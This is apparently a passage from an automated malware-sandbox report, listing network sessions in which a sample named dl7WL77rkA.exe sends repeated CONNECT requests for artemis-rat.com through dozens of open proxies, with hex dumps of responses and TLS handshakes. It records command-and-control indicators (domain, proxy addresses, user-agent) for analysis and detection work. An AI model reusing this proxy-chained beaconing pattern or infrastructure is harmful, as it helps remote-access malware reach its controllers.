Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.5	50241	103.199.18.248	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.240852118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.588706970 CET	176	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Length: 19 Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.5	50369	172.67.182.128	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.246907949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.401428938 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.5	50266	176.99.2.43	1081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.260572910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.618627071 CET	228	IN	HTTP/1.0 502 Bad Gateway Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.5	50351	12.186.205.120	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.260720968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.5	50270	103.23.101.97	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.266921043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.5	50387	104.25.114.28	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.267153978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.422607899 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.5	50235	103.245.109.172	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.293379068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.076740980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.869107008 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.5	50334	190.120.249.149	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.294234037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.5	50219	124.160.118.183	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.295001030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.693773031 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx/1.8.1 Date: Mon, 11 Mar 2024 14:51:44 GMT Content-Type: text/html Content-Length: 172 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.8.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.5	50244	171.244.140.160	24015	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.295208931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.5	50360	146.19.106.42	12334	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.297991991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.5	50251	125.99.106.250	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.299532890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:32:39.233697891 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:42.244882107 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:48.380086899 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:33:00.668298006 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:33:24.735054970 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.5	50416	172.67.254.127	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.307894945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.462846041 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.5	50293	4.144.161.159	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.320682049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.420471907 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx
Mar 11, 2024 03:30:39.420902967 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ee 6c ce d6 96 24 78 78 1e 89 d5 a0 06 ea 41 38 f9 46 7c 18 98 49 27 f2 3d 4b 14 62 ff f1 74 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: el$xxA8F\|I'=Kbt*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 03:30:39.807411909 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ee 6c cf 73 23 4a 55 da 1d ee d7 10 52 52 7a 70 60 e1 48 33 5a 7c b7 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 6b 0b 00 10 67 00 Data Ascii: C?els#JURRzp`H3Z\|DOWNGRD/#kgde0a0I?LR0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240214225240Z240514225239Z010
Mar 11, 2024 03:30:39.807523966 CET	1286	IN	Data Raw: 98 6e 71 f4 11 ac 4d b8 a7 7d 6f da c6 bc f4 b1 9e 56 4d 29 6b 80 18 2b 54 cc 2f af 96 ce 21 d1 4a a2 d6 af dc dc c3 23 73 8a f8 60 aa 82 11 8f 73 e6 dd de ff f1 c4 74 75 19 89 f2 11 f3 81 b3 5c 09 1f 05 21 66 f5 dc f5 01 c2 34 dc e1 8e 2b 77 c7 Data Ascii: nqM}oVM)k+T/!J#s`stu\!f4+wF3yO3RDw.QJRh8?hXZR`UHG3XF%~ t\5\|0F<Arp'~00tP'S"0*H0G10UUS
Mar 11, 2024 03:30:39.807542086 CET	1286	IN	Data Raw: 9f 57 a9 41 6d 5a 90 a7 db 3a ea 75 80 0c 63 0b 69 74 6f 07 4c 15 f3 37 28 a5 19 a4 6e f5 f6 20 cd 63 b2 7e c4 2b 09 75 89 da d1 3c 2e 72 4f 36 1a a1 9e 44 d0 cd 9b a6 23 08 3f 97 a1 a7 9e 5a a5 f7 09 94 ad 5d 76 5d 28 56 d1 1a 66 51 51 07 7b de Data Ascii: WAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\9+S/tgw7-[peZ%wjNuMjfynm"m,P5}pY*
Mar 11, 2024 03:30:39.807574987 CET	736	IN	Data Raw: 30 02 86 1d 68 74 74 70 3a 2f 2f 70 6b 69 2e 67 6f 6f 67 2f 67 73 72 31 2f 67 73 72 31 2e 63 72 74 30 32 06 03 55 1d 1f 04 2b 30 29 30 27 a0 25 a0 23 86 21 68 74 74 70 3a 2f 2f 63 72 6c 2e 70 6b 69 2e 67 6f 6f 67 2f 67 73 72 31 2f 67 73 72 31 2e Data Ascii: 0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0*H4(v1z!R>tA=5\_\|W&o[Fh7okz7%QhIZ
Mar 11, 2024 03:30:40.009232998 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 b6 b2 73 a4 8b 96 40 08 c2 50 80 bd 09 7f ee 7b 83 d4 69 a0 9b 54 8c 4b ba ad 91 2a 3c ab 0a 72 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 60 4b e6 22 64 31 c2 05 0b 2b 09 19 fb 08 4e 6f f8 78 33 44 ac Data Ascii: %! s@P{iTK*<r(`K"d1+Nox3DD3Od
Mar 11, 2024 03:30:40.348474979 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 1f 00 c0 ea 0e 0f 5b c6 70 51 f5 96 8e 45 a4 8d 44 96 1f 73 64 5f c4 0c 20 dc 67 70 5c 10 33 2f a6 9b 37 d1 74 e8 83 82 63 aa b1 c1 04 08 77 b5 c6 61 d8 61 98 0e 49 14 f9 01 b2 86 25 0f 46 bf e5 90 df 12 51 e7 Data Ascii: [pQEDsd_ gp\3/7tcwaaI%FQ^"NN>O.JLRrG#"deF[70S%Jiaa}zq2Q*kku4dS11s{+K 7'p(9Of}`Qkx7>
Mar 11, 2024 03:30:40.349906921 CET	252	OUT	Data Raw: 17 03 03 00 f7 00 00 00 00 00 00 00 01 11 9f 5b 06 74 5e b0 b2 5e 2f c2 85 27 5f d4 ba 2e 1e d2 04 44 d7 be 1e 44 99 e0 dc 10 f0 69 5f 62 31 44 62 d6 e3 c3 f0 e4 cd 7f 76 fb 60 56 d5 fc 8d 58 d4 04 14 15 8f bc 46 47 9b 74 0c 8c f1 17 7c ca c6 95 Data Ascii: [t^^/'_.DDi_b1Dbv`VXFGt\|=B4I{L+w7HmO`.}Xu\|B7E .<nT}yF\|In9+xlIlC`gdSWIlCJRH.RrGT8!" e+
Mar 11, 2024 03:30:40.695019007 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 b7 31 23 ac 8f 77 02 dc 3f 5d 3b 75 e3 7d bb cc 31 40 4b 95 4a f6 3c 4e 69 da e9 75 d9 ae 8f d2 64 4f b2 31 92 8f 76 23 4b 5a 0a fb f3 6f 24 fa ee 66 ee 79 af 56 de 0d 2b be c4 f8 b1 d9 9d c8 69 8e 89 67 77 Data Ascii: q1#w?];u}1@KJ<NiudO1v#KZo$fyV+igwn'dU6`7AXp.k;d"Pwk:ii,j sffBj2Vx@$u<~m=^*)PrP,?]FrdD2S_w"btj(/oQbED
Mar 11, 2024 03:30:40.695080996 CET	1286	IN	Data Raw: a4 69 0f ea c1 02 e1 66 38 63 3f 85 26 90 ca dc 0f bb a2 88 c3 a1 d1 39 7f e5 a4 b4 3f 96 af dc bb 86 e9 9b 53 db 3c 96 0b d9 1c 6d 2c d0 e4 f5 7f 74 4d 3e ad 3d 11 fc d4 21 8f f1 90 71 91 5d a2 c9 35 26 7c 3e bd cf 23 9d 69 71 c8 b8 4c 30 9b 5a Data Ascii: if8c?&9?S<m,tM>=!q]5&\|>#iqL0Z>04yhFx$_.tTqk-wR+V$apguQqh$9QmX)*azhT~w4q\|"q1VPSjtv+$m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.5	50380	23.152.40.15	5050	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.321508884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:32:38.172982931 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:38.833858013 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:39.509538889 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:40.821541071 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:43.506450891 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:48.881645918 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:59.381218910 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:33:21.649727106 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.5	50347	54.248.238.110	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.329782009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.595454931 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:38 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 03:30:38.595784903 CET	369	OUT	Data Raw: 16 03 03 01 6c 01 00 01 68 03 03 65 ee 6c cd 31 7a 89 03 d6 2a 6c fb 06 36 0a e9 7c 04 0c 30 88 c0 82 35 a2 86 77 61 80 b1 7b 92 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: lhel1zl6\|05wa{,+0/$#('=<5/artemis-rat.com#o Glt0\7.&ZyfEW'6%]+]l1Ga
Mar 11, 2024 03:30:38.861232042 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 15 0c 98 26 5c 21 9a 1e a2 57 2d d8 05 79 b4 4b 25 72 5b a9 f0 17 0b bf 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9&\!W-yK%r[DOWNGRD0000H010Uartemis-rat.com0240311021335Z260311021335Z010Uartemis-rat.com0"0H0K
Mar 11, 2024 03:30:38.866843939 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 7e 43 f6 10 28 84 5d a1 99 88 14 0d b1 cc d2 32 83 2d f3 29 83 e4 76 27 f1 78 0f fb 8b e8 db 2a 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 85 d8 ad 11 c4 04 d0 e6 d7 02 53 21 c1 b8 13 0d c5 51 ed a1 fa Data Ascii: %! ~C(]2-)v'x*(S!QLNcz
Mar 11, 2024 03:30:39.130951881 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 ac 67 88 8a df c9 c3 5e 5d aa f5 e0 fd c4 91 7d 72 ed 6e bf eb af 4f bb 31 a6 f2 e5 a4 10 7d da d9 cd b3 16 0a b6 48 95 Data Ascii: (g^]}rnO1}H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.5	49767	72.195.34.35	27360	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.332847118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.5	50437	172.67.187.242	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.332849979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.487535954 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.5	50274	139.99.197.2	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.333419085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.139238119 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.357997894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.806682110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.327191114 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.5	50281	128.199.221.91	21605	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.335499048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.5	50327	203.218.172.225	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.348542929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
